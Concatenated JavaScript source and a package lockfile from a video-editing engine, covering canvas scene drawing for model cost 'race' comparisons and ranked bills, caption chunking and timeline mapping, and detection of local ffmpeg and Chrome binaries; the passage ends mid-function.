  if (stack) { const ph = (H_ - top - bottom - gap * (n - 1)) / n; return s.panels.map((_, i) => [m, top + i * (ph + gap), W - 2 * m, ph]); }
  const pw = (W - 2 * m - gap * (n - 1)) / n, hb = Math.round(clamp(pw * .1, 72, 104)), ph = Math.min(H_ - top - bottom, hb + pw * (s.panels[0].ar || .625));
  const y0 = s.chip ? top + 6 : top + (H_ - top - bottom - ph) / 2;   // keep room under the panels for the verdict chip
  return s.panels.map((_, i) => [m + i * (pw + gap), y0, pw, ph]);
}
// Grid mode (`cols: n`): n models side by side, one row per reasoning level (3 models x 2 efforts on a square).
// `columns: [{name, logo}]` heads each column once (without it each panel shows its logo + name in its bar, time on the clip); a panel = clip on top, elapsed time + live cost in a bar under it,
// `effort` pinned on the clip, `note` ('3 tries') pinned top right, `failed: {title, sub}` replaces the clip.
// The cheapest working panel wins. {cols, columns, ar, header?, footer?, countFrom, countTo, winnerAt, chip?, panels}
export function raceGridLayout(s, H_) {
  const n = s.panels.length, cols = s.cols, rows = Math.ceil(n / cols), m = 30, gap = 18, bar = 62;
  const top = (s.header ? 132 : 30) + (s.columns ? 66 : 0), bottom = (s.footer ? 66 : 24) + (s.chip ? 104 : 0);
  const pw = (W - 2 * m - gap * (cols - 1)) / cols, ph = 10 + (pw - 20) * (s.ar || .75) + bar;
  const off = Math.max(0, (H_ - top - bottom - rows * ph - (rows - 1) * gap) / 2), y0 = top + off;   // header, heads and grid move as one block
  return { bar, off, boxes: s.panels.map((_, i) => [m + (i % cols) * (pw + gap), y0 + Math.floor(i / cols) * (ph + gap), pw, ph]) };
}
function raceGrid(R, s, t) {
  const { ctx } = R, H_ = H, ends = raceTiming(s), { bar, off, boxes } = raceGridLayout(s, H_);
  const ok = s.panels.map((p, i) => p.failed ? Infinity : p.cost), win = s.winner ?? ok.indexOf(Math.min(...ok));
  env(ctx, s, t, () => {
    if (s.header) { const p = S(t - s.header.at + (s.pre || 0), 13); rise(ctx, p, 24, () => text(ctx, s.header.text, W / 2, 88 + off * .6, { size: 52, weight: 800, ls: -1.3, align: 'center', depth: s.header.depth })); }
    (s.columns || []).forEach((c, j) => {
      const [x, y, w] = boxes[j], p = S(t - s.from + (s.pre || 0) - j * .08, 12), cy = y - 40, ns = 34, lg = 40;
      rise(ctx, p, 30, () => {
        const tw = measure(ctx, c.name, ns, 800, -.8), x0 = x + w / 2 - (tw + lg + 12) / 2;
        if (isImgLogo(c.logo)) logoImg(R, ctx, c.logo, x0, cy - lg / 2, lg, 8); else if (LOGO[c.logo]) LOGO[c.logo](ctx, x0 + lg / 2, cy, lg / 2, C.ink);
        text(ctx, c.name, x0 + lg + 12, midBase(cy, ns), { size: ns, weight: 800, ls: -.8 });
      });
    });
    s.panels.forEach((pn, i) => {
      const [x, y, w, h] = boxes[i], p = S(t - s.from + (s.pre || 0) - .15 - i * .06, 12), mh = h - bar - 10;
      rise(ctx, p, 50, () => {
        const wp = s.winnerAt != null && i === win ? S(t - s.winnerAt, 12) : 0;
        sheet(ctx, x, y, w, h, 22, { elev: 1.1 });
        if (pn.failed) {
          ctx.save(); ctx.beginPath(); ctx.roundRect(x + 10, y + 10, w - 20, mh, 14); ctx.fillStyle = 'rgba(40,30,10,.05)'; ctx.fill(); ctx.clip();
          ctx.strokeStyle = 'rgba(40,30,10,.07)'; ctx.lineWidth = 2;
          for (let k = -mh; k < w; k += 22) { ctx.beginPath(); ctx.moveTo(x + 10 + k, y + 10 + mh); ctx.lineTo(x + 10 + k + mh, y + 10); ctx.stroke(); }
          ctx.restore();
          const cx = x + w / 2, cy = y + 10 + mh / 2;
          text(ctx, pn.failed.title, cx, midBase(cy - (pn.failed.sub ? 18 : 0), 34), { size: 34, weight: 800, ls: -.8, align: 'center', color: C.ink2 });
          if (pn.failed.sub) text(ctx, pn.failed.sub, cx, midBase(cy + 26, 24), { size: 24, weight: 600, align: 'center', color: C.ink3 });
        } else {
          cover(ctx, R.frame(pn.media, clipTime(t, s.from, pn.offset || 0)), x + 10, y + 10, w - 20, mh, 14, pn.focus);
          ctx.save(); ctx.beginPath(); ctx.roundRect(x + 10, y + 10, w - 20, mh, 14); ctx.strokeStyle = 'rgba(20,22,27,.08)'; ctx.lineWidth = 1.5; ctx.stroke(); ctx.restore();
        }
        if (pn.effort) chip(ctx, x + 22, y + 40, pn.effort, { size: 22, h: 40, padX: 14, weight: 800, align: 'left', fill: C.ink, color: C.white, border: false, elev: .6 });
        if (pn.note) chip(ctx, x + w - 22, y + mh - 20, pn.note, { size: 22, h: 40, padX: 14, weight: 800, align: 'right', fill: C.white, color: C.ink, border: false, elev: .6 });
        // bar: elapsed time left (check when done), live cost right. No column heads: logo + name left, time on the clip
        const k = E.cubic(seg(t, s.countFrom, ends[i])), done = t >= ends[i], cy = y + h - bar / 2 - 4, cs = 40, ts = 28;
        text(ctx, money(pn.cost * k, done ? (pn.costSuffix || '') : ''), x + w - 22, midBase(cy, cs), { size: cs, weight: 800, ls: -1, align: 'right', color: mix(C.ink, C.blue, wp) });
        if (!s.columns) {
          const lg = 36;
          if (isImgLogo(pn.logo)) logoImg(R, ctx, pn.logo, x + 22, cy - lg / 2, lg, 8); else if (LOGO[pn.logo]) LOGO[pn.logo](ctx, x + 22 + lg / 2, cy, lg / 2, C.ink);
          text(ctx, pn.name, x + 22 + lg + 12, midBase(cy, 32), { size: 32, weight: 800, ls: -.8 });
          if (pn.time) chip(ctx, x + w - 22, y + 40, clock(pn.time * k), { size: 22, h: 40, padX: 14, weight: 800, align: 'right', fill: C.white, color: C.ink, border: false, elev: .6 });
        } else if (pn.time) {
          const dp = E.out(seg(t, ends[i], ends[i] + .35)), cw = done && !pn.failed ? ts * 1.05 : 0;
          if (cw) checkIcon(ctx, x + 22 + ts * .45, cy, ts * .9, C.ink2, dp);
          text(ctx, clock(pn.time * k), x + 22 + cw, midBase(cy, ts), { size: ts, weight: 600, color: C.ink3 });
        }
        if (wp > .002) alpha(ctx, wp, () => { ctx.beginPath(); ctx.roundRect(x - 7 - 5 * (1 - wp), y - 7 - 5 * (1 - wp), w + 14 + 10 * (1 - wp), h + 14 + 10 * (1 - wp), 28); ctx.strokeStyle = C.blue; ctx.lineWidth = 5; ctx.stroke(); });
      });
    });
    if (s.chip) {
      const p = S(t - s.chip.at, 13), yb = Math.max(...boxes.map(q => q[1] + q[3]));
      if (p > .002) rise(ctx, p, 20, () => chip(ctx, W / 2, s.chip.y ?? Math.min(H_ - 120, yb + 62), s.chip.text, { size: 38, h: 80, fill: C.blue, color: C.white, border: false }));
    }
    if (s.footer) {
      const p = S(t - s.footer.at + (s.pre || 0), 13);
      rise(ctx, p, 16, () => text(ctx, s.footer.text, W / 2, midBase(H_ - 40, 28), { size: 28, weight: 700, ls: -.4, align: 'center', color: C.ink2 }));
    }
  });
}
const race = {
  needs(s, t) { return t >= s.from - .3 && t <= (s.to ?? 1e9) + .7 ? s.panels.filter(p => p.media).map(p => [p.media, clipTime(t, s.from, p.offset || 0)]) : []; },
  draw(R, s, t) {
    if (s.cols) return raceGrid(R, s, t);
    const { ctx } = R, H_ = H, ends = raceTiming(s), boxes = raceLayout(s, H_);
    const costs = s.panels.map(p => p.cost), win = costs.indexOf(Math.min(...costs));
    env(ctx, s, t, pin => {
      if (s.header) { const p = S(t - s.header.at + (s.pre || 0), 13); rise(ctx, p, 24, () => text(ctx, s.header.text, W / 2, 104, { size: 58, weight: 800, ls: -1.4, align: 'center' })); }
      s.panels.forEach((pn, i) => {
        const [x, y, w, h] = boxes[i], hb = Math.round(clamp(w * .1, 72, 104)), p = S(t - s.from + (s.pre || 0) - i * .08, 12);
        rise(ctx, p, 60, () => {
          const wp = s.winnerAt != null && i === win ? S(t - s.winnerAt, 12) : 0;
          sheet(ctx, x, y, w, h, 26, { elev: 1.1 });
          cover(ctx, R.frame(pn.media, clipTime(t, s.from, pn.offset || 0)), x + 10, y + hb, w - 20, h - hb - 10, 18);
          ctx.save(); ctx.beginPath(); ctx.roundRect(x + 10, y + hb, w - 20, h - hb - 10, 18); ctx.strokeStyle = 'rgba(20,22,27,.08)'; ctx.lineWidth = 1.5; ctx.stroke(); ctx.restore();
          // header bar: logo + name left, elapsed time + live cost right
          const cy = y + hb / 2 + 2, ns = Math.round(clamp(w * .05, 34, 50)), cs = Math.round(ns * 1.22), lr = ns * .52;
          if (LOGO[pn.logo]) LOGO[pn.logo](ctx, x + 26 + lr, cy, lr, C.ink);
          text(ctx, pn.name, x + 26 + lr * 2 + 16, midBase(cy, ns), { size: ns, weight: 800, ls: -1 });
          const k = E.cubic(seg(t, s.countFrom, ends[i])), done = t >= ends[i], dp = S(t - ends[i], 14);
          const cost = money(pn.cost * k, done ? (pn.costSuffix || '') : ''), cw = measure(ctx, money(pn.cost, pn.costSuffix || ''), cs, 800, -1);
          text(ctx, cost, x + w - 26, midBase(cy, cs), { size: cs, weight: 800, ls: -1, align: 'right', color: mix(C.ink, C.blue, wp) });
          if (pn.time) {
            const ts = Math.round(ns * .76), tx = x + w - 26 - cw - 22;
            text(ctx, clock(pn.time * k), tx, midBase(cy, ts), { size: ts, weight: 600, align: 'right', color: C.ink3 });
            if (dp > .002) checkIcon(ctx, tx - measure(ctx, clock(pn.time), ts, 600) - ts * .7, cy, ts * .9, C.ink2, E.out(seg(t, ends[i], ends[i] + .35)));
          }
          // reasoning effort, pinned on the media so it is never missed
          if (pn.effort) { const es = Math.round(clamp(w * .036, 26, 34)); chip(ctx, x + 26, y + hb + 18 + es, pn.effort, { size: es, weight: 800, align: 'left', fill: C.ink, color: C.white, border: false, elev: .6 }); }
          if (wp > .002) alpha(ctx, wp, () => { ctx.beginPath(); ctx.roundRect(x - 8 - 6 * (1 - wp), y - 8 - 6 * (1 - wp), w + 16 + 12 * (1 - wp), h + 16 + 12 * (1 - wp), 32); ctx.strokeStyle = C.blue; ctx.lineWidth = 5; ctx.stroke(); });
        });
      });
      if (s.chip) {
        const p = S(t - s.chip.at, 13), b = boxes.at(-1), yb = Math.max(...boxes.map(q => q[1] + q[3]));
        const cy = s.chip.y ?? (s.stack ?? H_ > W * 1.2 ? b[1] + b[3] / 2 : Math.min(H_ - 70, yb + 66));
        if (p > .002) rise(ctx, p, 20, () => chip(ctx, W / 2, cy, s.chip.text, { size: 44, h: 88, fill: C.blue, color: C.white, border: false }));
      }
      if (s.footer) {
        const p = S(t - s.footer.at + (s.pre || 0), 13);
        rise(ctx, p, 16, () => {
          const fs_ = 34, tw = measure(ctx, s.footer.text, fs_, 700, -.5), lg = s.footer.logo && LOGO[s.footer.logo] ? 58 : 0, x0 = W / 2 - (tw + lg) / 2;
          if (lg) LOGO[s.footer.logo](ctx, x0 + 22, H_ - 46, 20, C.ink2);
          text(ctx, s.footer.text, x0 + lg, midBase(H_ - 46, fs_), { size: fs_, weight: 700, ls: -.5, color: C.ink2 });
        });
      }
    });
  },
};

// ---- bill: a compact ranked bill for up to ~7 runs (logo, model, effort + time, cost bar). The `blue` row is the pick,
// a `failed` row shows a dashed empty bar and its `note`. {title?: {text, at}, y?, rowH?, footer?: {text, at}, chip?: {text, at, y},
//  rows: [{logo, name, sub, value (0..1), label, at, blue?, failed?, note?}]}
// lift: each row on a lifted paper card, embossed title, bars with a soft shadow (the default paper style: never flat).
const bill = {
  draw(R, s, t) {
    const { ctx } = R, rh = s.rowH || 112, y0 = s.y ?? 210, lx = 44, bx = 506, bw = W - bx - (s.lift ? 210 : 170), bh = 44;
    env(ctx, s, t, () => {
      if (s.title) rise(ctx, S(t - s.title.at, 13), 24, () => text(ctx, s.title.text, W / 2, 112, { size: 54, weight: 800, ls: -1.4, align: 'center', depth: s.lift ? 1 : undefined }));
      s.rows.forEach((r, i) => {
        const p = S(t - r.at, 12), cy = y0 + i * rh + rh / 2;
        rise(ctx, p, 30, () => {
          if (s.lift) sheet(ctx, lx - 20, cy - rh / 2 + 10, W - 2 * lx + 40, rh - 20, 26, { elev: .8 });
          if (r.blue) { ctx.beginPath(); ctx.roundRect(lx - 16, cy - rh / 2 + 8, W - 2 * lx + 32, rh - 16, 24); ctx.fillStyle = 'rgba(37,142,255,.08)'; ctx.fill(); }
          if (isImgLogo(r.logo)) logoImg(R, ctx, r.logo, lx, cy - 24, 48, 10); else if (LOGO[r.logo]) LOGO[r.logo](ctx, lx + 24, cy, 24, C.ink);
          text(ctx, r.name, lx + 66, midBase(cy - 16, 32), { size: 32, weight: 800, ls: -.8, color: r.failed ? C.ink3 : C.ink });
          text(ctx, r.sub, lx + 66, midBase(cy + 22, 24), { size: 24, weight: 600, color: C.ink3 });
          ctx.beginPath(); ctx.roundRect(bx, cy - bh / 2, bw, bh, bh / 2); ctx.fillStyle = 'rgba(40,30,10,.05)'; ctx.fill();
          const g = S(t - r.at - .08, 6.5), L = Math.max(bh, bw * r.value * g);
          if (r.failed) { ctx.save(); ctx.setLineDash([8, 8]); ctx.strokeStyle = C.ink3; ctx.lineWidth = 2.5; ctx.beginPath(); ctx.roundRect(bx, cy - bh / 2, L, bh, bh / 2); ctx.stroke(); ctx.restore(); }
          else if (g > .002) {
            if (s.lift) shadow(ctx, bx, cy - bh / 2, L, bh, bh / 2, 12, .22, 5);
            ctx.beginPath(); ctx.roundRect(bx, cy - bh / 2, L, bh, bh / 2); ctx.fillStyle = r.blue ? C.blue : C.ink; ctx.fill();
          }
          text(ctx, r.label, bx + L + 18, midBase(cy, 34), { size: 34, weight: 800, fam: 'JetBrains Mono', color: r.blue ? C.blue : r.failed ? C.ink3 : C.ink });
          if (r.note) chip(ctx, bx + 14, cy, r.note, { size: 20, h: 34, padX: 12, weight: 800, align: 'left', fill: C.white, color: C.ink2, border: false, elev: .4 });
        });
      });
      if (s.chip) { const p = S(t - s.chip.at, 13); if (p > .002) rise(ctx, p, 20, () => chip(ctx, W / 2, s.chip.y ?? H - 120, s.chip.text, { size: 38, h: 80, fill: C.blue, color: C.white, border: false })); }
      if (s.footer) rise(ctx, S(t - s.footer.at, 13), 16, () => text(ctx, s.footer.text, W / 2, midBase(H - 40, 28), { size: 28, weight: 700, ls: -.4, align: 'center', color: C.ink2 }));
    });
  },
};

export const SCENES = { race, bill, stat, bars, columns, recap, tiles, title, chat, convo, scatter, chip: chipScene, cta, switch: switchScene, tree, snap, xylo, sfxtrack, popover, pause: pauseScene, pipeline, comment, tweet, article, usage, mdGrid, mdIntro, mdRec, mdWave, mdVision, overlay, mdDiffuse, mdCode, mdAssemble, mdCut, mdStills, mdRender, ...STORY, ...LIFE, ...META, ...FACE, ...MASTER, ...CRASH, ...CLEAN };
// A scene with a push (or a board's own `zooms`) draws into a zoom layer, so its slow push-in moves as one image (kit zoomLayer)
const zoomWrapped = new WeakSet();
for (const sc of Object.values(SCENES)) if (sc?.draw && !zoomWrapped.has(sc)) {
  const draw = sc.draw; zoomWrapped.add(sc);
  sc.draw = (R, s, t) => (sc.zooms ? sc.zooms(R, s) : s.push) ? zoomLayer(R, R2 => draw(R2, s, t)) : draw(R, s, t);
}

// Choreography between back-to-back scenes of one layer, resolved once at load (times are short seconds):
//   gate: a scene starting within .35 s of the previous scene's exit enters .16 s after that exit (the old beat is ~60%
//   gone), so two beats never crossfade in place. A board item with morph: true (a screen) instead grows out of the
//   previous scene's media rect (its `hand`, e.g. a tweet's image) from that exit on: a shared-element move.
export function linkScenes(list) {
  for (const s of list) {
    const start = s.from - (s.pre || 0);
    const prev = list.filter(o => o !== s && o.layer === s.layer && o.to != null && o.to <= start + .05 && o.to >= start - .35).sort((a, b) => b.to - a.to)[0];
    if (!prev) continue;
    if (s.gate !== false) s._gate = prev.to + (prev.hard ? 0 : .16);   // a hard cut leaves in one frame: nothing to wait for
    for (const it of s.items || []) if (it.morph && SCENES[prev.type]?.hand) {
      it._morph = { at: prev.to, rect: R => SCENES[prev.type].hand(prev, R) || [it.x - (it.w || 900) / 2, it.y - (it.h || 620) / 2, it.w || 900, it.h || 620] };
      prev._handTo = prev.to;
    }
  }
  return list;
}

{
  "name": "short-editing-engine",
  "lockfileVersion": 3,
  "requires": true,
  "packages": {
    "": {
      "name": "short-editing-engine",
      "dependencies": {
        "@mediapipe/tasks-vision": "^1.0.1",
        "playwright-core": "1.63.0"
      }
    },
    "node_modules/@mediapipe/tasks-vision": {
      "version": "1.0.1",
      "resolved": "https://registry.npmjs.org/@mediapipe/tasks-vision/-/tasks-vision-1.0.1.tgz",
      "integrity": "sha512-rvRE2FmAZ6ZxKSw7wq+e+jQDpN3t1B/tD2mJz9SmAzb1msoDkd4dMoE4wAh8Z30Um0PQwLiHr9QtomhmXk3aUQ==",
      "license": "Apache-2.0"
    },
    "node_modules/playwright-core": {
      "version": "1.63.0",
      "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz",
      "integrity": "sha512-rYCsBF/M5HjUch52bbtVONEFjv6Xu8sm8h72dNlR5bzIE1fvC/bxgspzkjSfU+MweEMmPM8KJebG6nnyxo5mCg==",
      "license": "Apache-2.0",
      "bin": {
        "playwright-core": "cli.js"
      },
      "engines": {
        "node": ">=20"
      }
    }
  }
}

// Pure timeline helpers shared by the browser runtime and the Node CLI (audio cues, QC).
// Two clocks exist: SOURCE time (seconds in assets/source.mp4, what spec.js is written in)
// and SHORT time (seconds in the tightened cut, what gets rendered). mapper() converts.

export const clamp = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));

export function mapper(tl) {
  const K = tl.keeps, sp = tl.speed || 1;
  return t => {
    // 'p+X' = X seconds into the inserted pause (spec.pause), e.g. a narrator word time
    if (typeof t === 'string' && /^p\+/.test(t)) return (tl.pause?.t0 ?? 0) + parseFloat(t.slice(2));
    // 'iK+X' = X seconds into insert K (spec.inserts, index in that list)
    if (typeof t === 'string' && /^i\d+\+/.test(t)) { const [k, x] = t.slice(1).split('+'); return (tl.inserts?.[+k]?.t0 ?? 0) + parseFloat(x); }
    // 'o+X' = X seconds into the outro (spec.outro, the end card after the last word); 'o-X' = X seconds before it
    if (typeof t === 'string' && /^o[+-]/.test(t)) return (tl.outro?.t0 ?? tl.duration) + parseFloat(t.slice(1));
    if (typeof t !== 'number') return t;
    for (const [a, b, o] of K) { if (t < a) return o; if (t < b) return o + (t - a) / sp; }
    return tl.duration;
  };
}

const norm = s => String(s).toLowerCase().replace(/[.,!?;:…]+$/, '');

// Word chunks for captions. words are in SHORT time: [{text, start, end}].
// cfg: {replace:[['cent pour cent','100%']], emph:['Opus 5.5'], maxWords, maxChars, gap, hide:[[a,b]] (short time),
// bleep:[[a,b]] (short time, spec.bleep: those words never show)}
export function captionChunks(words, cfg = {}) {
  const rep = (cfg.replace || []).map(([k, v]) => [k.toLowerCase().split(/\s+/), v]);
  const merged = [];
  for (let i = 0; i < words.length; i++) {
    let hit = null;
    for (const [ks, v] of rep) if (ks.every((k, j) => words[i + j] && norm(words[i + j].text) === norm(k))) { hit = [ks.length, v]; break; }
    if (hit) {
      const last = words[i + hit[0] - 1], p = last.text.match(/[.,!?;:]$/);
      merged.push({ text: hit[1] + (p ? p[0] : ''), start: words[i].start, end: last.end, rep: true });
      i += hit[0] - 1;
    } else merged.push({ text: words[i].text, start: words[i].start, end: words[i].end });
  }
  const hidden = t => [...(cfg.hide || []), ...(cfg.bleep || [])].some(([a, b]) => t >= a - .01 && t < b);
  const emph = new Set((cfg.emph || []).map(norm));
  const maxW = cfg.maxWords ?? 3, maxC = cfg.maxChars ?? 16, gap = cfg.gap ?? .35;
  // cfg.scaleKeys (captions drawn k times bigger from t on): such a line holds k times fewer characters
  const scaleAt = t => (cfg.scaleKeys || []).reduce((v, k) => t >= k[0] ? k[1] : v, 1);
  const chunks = []; let cur = null, prev = null;
  for (const w of merged) {
    if (hidden(w.start)) { cur = null; prev = null; continue; }
    // cfg.lower: every spoken word in lower case (benkimball.ai); captions.replace values keep their own case
    const text = (cfg.lower && !w.rep ? w.text.toLowerCase() : w.text).replace(/[.,;:]+$/, '').replace(/^["«“]|["»”]$/g, '');
    if (!text) { prev = w; continue; }   // a lone ':' or '.' token: no word, but it still breaks the line
    const word = { text, start: w.start, end: w.end, emph: emph.has(norm(text)) };
    const brk = !cur || !cfg.phrase && (cur.words.length >= maxW || cur.chars + 1 + text.length > maxC / scaleAt(cur.words[0]?.start ?? w.start))
      || /[.,!?;:]$/.test(prev?.text || '') || w.start - prev.end > gap;
    if (brk) { cur = { words: [], chars: 0 }; chunks.push(cur); }
    cur.chars += (cur.words.length ? 1 : 0) + text.length;
    cur.words.push(word); prev = w;
  }
  if (cfg.phrase) chunks.splice(0, chunks.length, ...chunks.flatMap(c => phraseSplit(c.words, maxW, maxC / scaleAt(c.words[0].start))));
  chunks.forEach((c, i) => { c.start = c.words[0].start; c.end = c.words.at(-1).end; c.next = chunks[i + 1]?.start ?? Infinity; });
  // a line never runs into a hide span after it (a word ending in a cut can map past a spec.inserts card)
  for (const c of chunks) c.stop = Math.min(Infinity, ...(cfg.hide || []).map(([a]) => a).filter(a => a > c.start));
  return chunks;
}

// cfg.phrase: a sentence (between punctuation and pauses) is cut where it reads, not where the line fills up. Every
// split of it into lines of 1 to maxW words is scored and the cheapest wins: a line over maxC characters, a line that
// ends on a word that leans on the next one (de, les, que, ton, the, of...), a lone word and a line of two all cost,
// a longer pause between two words makes a good cut, so lines run 3 to 5 words when the sentence allows it.
const LEAN = new Set(('le la les l un une des du de d à au aux et ou mais que qu qui ton ta tes son sa ses mon ma mes ce cet cette ' +
  'en sur pour avec par dans sans tu il elle on je me te se ne nous vous leur très plus tout vrais gros bonnes est sont va the a an of to and or in on for with my your is').split(' '));
function phraseSplit(words, maxW, maxC) {
  const n = words.length, best = [0], from = [0], len = w => w.text.length;
  for (let j = 1; j <= n; j++) {
    best[j] = Infinity;
    for (let i = Math.max(0, j - maxW); i < j; i++) {
      const ws = words.slice(i, j), k = ws.length, chars = ws.reduce((a, w) => a + len(w), k - 1);
      const last = norm(ws[k - 1].text).replace(/^.*'/, '').replace(/'$/, '');
      let c = best[i] + 3 + Math.max(0, chars - maxC) * 4 + (k === 1 && n > 1 ? 7 : k === 2 && n > 2 ? 2 : 0);
      if (j < n) c += (LEAN.has(last) || /'$/.test(ws[k - 1].text) ? 9 : 0) - Math.min(3, (words[j].start - words[j - 1].end) * 12);
      if (c < best[j]) { best[j] = c; from[j] = i; }
    }
  }
  const out = []; for (let j = n; j > 0; j = from[j]) out.unshift({ words: words.slice(from[j], j), chars: 0 });
  return out;
}

// Word-synced typing: display tokens mapped onto the spoken words between t0 and t1 (SHORT time).
export function typing(display, words, t0, t1) {
  const toks = display.split(' ');
  const sp = words.filter(w => w.start >= t0 - .02 && w.start < t1 + .02);
  if (!sp.length) return toks.map((tok, i) => ({ tok, start: t0 + i * .1, end: t0 + i * .1 + .1 }));
  return toks.map((tok, i) => {
    const j = Math.round(i * (sp.length - 1) / Math.max(1, toks.length - 1)), w = sp[j];
    return { tok, start: w.start, end: Math.max(w.end, w.start + .12) };
  });
}

// spec.js is authored in SOURCE time (read times straight from files/words.md). This deep-copies it into
// SHORT time. A number is a time when its key is at/from/to/until or ends with "At"/"From"/"To"
// (countFrom, workTo...); inside any array whose key ends in "keys" (keys, labelKeys...) the first element
// of each entry is a time; "hide", "bleep", "thump" and any key ending in "spans" hold [a, b, ...] time pairs. A string 'p+X' in a time
// slot means X seconds into the inserted pause (spec.pause), 'iK+X' X seconds into insert K (spec.inserts), 'o+X' X seconds into the outro (spec.outro). Everything else
// (durations, sizes, offsets into media clips) is left alone. "cut" and "tighten" stay in source time.
const TIME_KEY = /^(at|from|to|until)$|(At|From|To)$/;
export function mapSpec(spec, m) {
  const walk = (v, k) => {
    if (k === 'cut' || k === 'tighten' || k === 'media' || k === 'cam') return v;
    if (typeof v === 'number' || (typeof v === 'string' && /^(p\+|o[+-]|i\d+\+)[\d.]+$/.test(v))) return TIME_KEY.test(k) ? m(v) : v;
    if (Array.isArray(v)) {
      if (/keys$/i.test(k)) return v.map(e => [m(e[0]), ...e.slice(1).map(x => walk(x, ''))]);
      if (k === 'hide' || k === 'bleep' || k === 'thump' || /spans$/i.test(k)) return v.map(([a, b, ...r]) => [m(a), m(b), ...r]);
      return v.map(x => walk(x, ''));
    }
    if (v && typeof v === 'object') { const o = {}; for (const kk in v) o[kk] = walk(v[kk], kk); return o; }
    return v;
  };
  return walk(spec, '');
}

// Where the tools live on this machine, macOS or Windows: ffmpeg, ffprobe, Chrome, the face and person-matte helpers.
// The one-command installer puts portable copies in <project>/.runtime (bin/ffmpeg, browsers/, models/, runtime.json).
// Order for each tool: its env var (FFMPEG_PATH, FFPROBE_PATH, CHROME_PATH), then the portable copy, then the PATH.
// Vision: Apple Vision binaries on a Mac (prebuilt universal in bin/darwin/, else compiled once with swiftc), MediaPipe
// in headless Chrome everywhere else (vision-web.mjs). SHORT_EDITING_VISION=web forces MediaPipe, e.g. to test it on a Mac.
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import crypto from 'node:crypto';
import { execFileSync, spawnSync } from 'node:child_process';
import { fileURLToPath } from 'node:url';

export const ENGINE = path.dirname(fileURLToPath(import.meta.url));
export const IS_MAC = process.platform === 'darwin', IS_WIN = process.platform === 'win32';
const EXE = IS_WIN ? '.exe' : '';
const exists = f => { try { return fs.existsSync(f); } catch { return false; } };

// <dir>/.runtime with a runtime.json, in the skill's folder or a parent (project install), else the cwd or a parent
function findRuntime() {
  if (process.env.SHORT_EDITING_RUNTIME) return path.resolve(process.env.SHORT_EDITING_RUNTIME);
  for (const start of [ENGINE, process.cwd()])
    for (let d = path.resolve(start); ; d = path.dirname(d)) {
      if (exists(path.join(d, '.runtime', 'runtime.json'))) return path.join(d, '.runtime');
      if (d === path.dirname(d)) break;
    }
  const def = path.join(os.homedir(), 'video-editing', '.runtime');
  return exists(path.join(def, 'runtime.json')) ? def : null;
}
export const RUNTIME = findRuntime();

export function bin(name) {
  const env = process.env[`${name.toUpperCase()}_PATH`];
  if (env) return env;
  const local = RUNTIME && path.join(RUNTIME, 'bin', name + EXE);
  return local && exists(local) ? local : name;
}
export const FFMPEG = bin('ffmpeg'), FFPROBE = bin('ffprobe');

// A Chromium with WebCodecs: Chrome, else Edge (always there on Windows), Brave, Chromium, else the portable headless shell
export function findChrome() {
  if (process.env.CHROME_PATH) return process.env.CHROME_PATH;
  const H = os.homedir(), L = process.env.LOCALAPPDATA || path.join(H, 'AppData', 'Local');
  const PF = process.env.PROGRAMFILES || 'C:\\Program Files', PF86 = process.env['PROGRAMFILES(X86)'] || 'C:\\Program Files (x86)';
  const mac = app => [`/Applications/${app}.app/Contents/MacOS/${app}`, path.join(H, `Applications/${app}.app/Contents/MacOS/${app}`)];
  const list = IS_MAC ? ['Google Chrome', 'Microsoft Edge', 'Brave Browser', 'Chromium'].flatMap(mac)
    : IS_WIN ? [path.join(PF, 'Google\\Chrome\\Application\\chrome.exe'), path.join(PF86, 'Google\\Chrome\\Application\\chrome.exe'),
      path.join(L, 'Google\\Chrome\\Application\\chrome.exe'), path.join(PF86, 'Microsoft\\Edge\\Application\\msedge.exe'),
      path.join(PF, 'Microsoft\\Edge\\Application\\msedge.exe'), path.join(PF, 'BraveSoftware\\Brave-Browser\\Application\\brave.exe')]
    : ['/usr/bin/google-chrome', '/usr/bin/google-chrome-stable', '/usr/bin/chromium', '/usr/bin/chromium-browser', '/usr/bin/microsoft-edge'];
  return list.find(exists) || headlessShell() || list[0];
}
// chrome-headless-shell installed by the installer (playwright layout) in <runtime>/browsers when no browser was found
function headlessShell() {
  const root = RUNTIME && path.join(RUNTIME, 'browsers');
  if (!root || !exists(root)) return null;
  for (const d of fs.readdirSync(root).filter(d => d.startsWith('chromium_headless_shell-')).sort().reverse())
    for (const sub of fs.readdirSync(path.join(root, d))) {
      const f = path.join(root, d, sub, 'chrome-headless-shell' + EXE);
      if (exists(f)) return f;
    }
  return null;
}
export const CHROME = findChrome();

// Low priority for one child: `nice` on macOS and Linux, nothing to wrap on Windows (the process priority is inherited)
export const niced = (cmd, args) => IS_WIN ? [cmd, args] : ['nice', ['-n', '10', cmd, ...args]];
// --eco: background QoS on macOS (efficiency cores), lowest priority elsewhere
export function eco() {
  if (IS_MAC) try { execFileSync('taskpolicy', ['-b', '-p', String(process.pid)]); return; } catch {}
  try { os.setPriority(0, os.constants.priority.PRIORITY_LOW); } catch {}
}

let encoders;
export const hasEncoder = name => new RegExp(`\\b${name}\\b`).test(encoders ??= (() => {
  try { return execFileSync(FFMPEG, ['-hide_banner', '-encoders'], { stdio: ['ignore', 'pipe', 'ignore'] }).toString(); } catch { return ''; }
})());
// H.264 output args: the Apple hardware encoder at the given bitrate when ffmpeg has it, else x264 at a matching quality
export function h264(bitrate, maxrate) {
  if (hasEncoder('h264_videotoolbox')) return ['-c:v', 'h264_videotoolbox', '-b:v', bitrate, ...(maxrate ? ['-maxrate', maxrate] : [])];
  return ['-c:v', 'libx264', '-preset', 'fast', '-crf', parseFloat(bitrate) <= 6 ? '23' : '18'];
}

export const CACHE = IS_MAC ? path.join(os.homedir(), 'Library/Caches/short-editing')
  : IS_WIN ? path.join(process.env.LOCALAPPDATA || os.tmpdir(), 'short-editing') : path.join(os.homedir(), '.cache/short-editing');
const hash = f => crypto.createHash('md5').update(fs.readFileSync(f)).digest('hex').slice(0, 12);
// xcode-select -p first: a bare xcrun on a Mac without the Command Line Tools opens an install dialog
const hasSwiftc = () => IS_MAC && spawnSync('xcode-select', ['-p'], { stdio: 'ignore' }).status === 0 && spawnSync('xcrun', ['--find', 'swiftc'], { stdio: 'ignore' }).status === 0;

// A Swift helper as a native binary: the prebuilt universal one shipped next to it (bin/darwin/<name>, with
// <name>.hash = the source it was built from), else compiled once into the cache, else the prebuilt one even if older.
export function swiftTool(src) {
  if (!IS_MAC) return null;
